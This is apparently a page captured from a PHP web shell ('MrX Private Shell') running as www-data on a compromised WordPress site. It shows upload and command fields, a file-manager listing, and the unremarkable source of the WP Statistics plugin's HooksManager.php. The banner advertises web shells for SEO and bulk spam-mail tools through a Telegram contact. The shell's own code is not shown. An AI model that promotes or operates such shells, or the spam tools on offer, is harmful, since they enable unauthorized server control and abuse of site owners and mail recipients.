__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php

namespace WP_Statistics\Service;

use WP_STATISTICS\Menus;
use WP_Statistics\Components\AssetNameObfuscator;
use WP_Statistics\Globals\Context;
use WP_Statistics\Service\Admin\LicenseManagement\LicenseHelper;

class HooksManager
{
    public function __construct()
    {
        add_action('admin_init', [$this, 'setWpsPage']);
        add_filter('kses_allowed_protocols', [$this, 'updateAllowedProtocols']);
        add_filter('plugin_action_links_' . plugin_basename(WP_STATISTICS_MAIN_FILE), [$this, 'addActionLinks']);
        add_filter('plugins_loaded', [$this, 'serveObfuscatedAsset'], PHP_INT_MAX);
    }

    /**
     * Sets the current page, view and tab in the context.
     *
     * @return void
     */
    public function setWpsPage()
    {
        $wpsPage = ['slug' => null, 'view' => null, 'tab' => null];

        $page      = Menus::getCurrentPage();
        $className = $page['callback'] ?? '';

        if (class_exists($className)) {
            $class = $className::instance();

            if (method_exists($class, 'getPageSlug')) {
                $wpsPage['slug'] = $class->getPageSlug();
            }

            if (method_exists($class, 'getCurrentView')) {
                $wpsPage['view'] = $class->getCurrentView();
            }

            if (method_exists($class, 'getCurrentViewClass')) {
                $view = $class->getCurrentViewClass();

                if (method_exists($view, 'getCurrentTab')) {
                    $wpsPage['tab'] = $view->getCurrentTab();
                }
            }

            Context::add('wps_page', $wpsPage);
        }
    }

    /**
     * Adds custom links to the plugin action links in the WordPress admin plugins page.
     *
     * @param array $links The existing plugin action links.
     *
     * @return array The modified links with the custom links added.
     */
    public function addActionLinks($links)
    {
        $isPremium = (bool)LicenseHelper::isPremiumLicenseAvailable();

        $customLinks = [
            '<a href="' . Menus::admin_url('settings') . '">' . esc_html__('Settings', 'wp-statistics') . '</a>',
            '<a target="_blank" href="https://wp-statistics.com/documentation/?utm_source=wp-statistics&utm_medium=link&utm_campaign=plugins">' . esc_html__('Docs', 'wp-statistics') . '</a>',
        ];

        if (!$isPremium) {
            $premiumLink = '<a class="wps-premium-link-btn" target="_blank" href="https://wp-statistics.com/pricing/?utm_source=wp-statistics&utm_medium=link&utm_campaign=plugins">' . esc_html__('Get Premium', 'wp-statistics') . '</a>';
            array_unshift($customLinks, $premiumLink);
        }

        return array_merge($customLinks, $links);
    }

    /**
     * Modifies the list of allowed protocols.
     *
     * @param array $protocols The list of allowed protocols.
     */
    public function updateAllowedProtocols($defaultProtocols)
    {
        $customProtocols = [
            'android-app'
        ];

        $customProtocols = apply_filters('wp_statistics_allowed_protocols', $customProtocols);

        return array_merge($defaultProtocols, $customProtocols);
    }

    /**
     * Proxies requested asset files through PHP to serve them securely.
     *
     * @return void
     */
    public function serveObfuscatedAsset()
    {
        $assetNameObfuscator = new AssetNameObfuscator();
        $dynamicAssetKey     = $assetNameObfuscator->getDynamicAssetKey();

        if (isset($_GET[$dynamicAssetKey])) {
            $asset = sanitize_text_field($_GET[$dynamicAssetKey]);
            $assetNameObfuscator->serveAssetByHash($asset);
        }
    }
}

Filemanager

Name Type Size Permission Actions
Admin Folder 0755
Analytics Folder 0755
Charts Folder 0755
CustomEvent Folder 0755
Database Folder 0755
Debugger Folder 0755
Geolocation Folder 0755
Integrations Folder 0755
Logger Folder 0755
Summary Folder 0755
ThirdParty Folder 0755
CronEventManager.php File 1.46 KB 0644
HooksManager.php File 3.55 KB 0644
Filemanager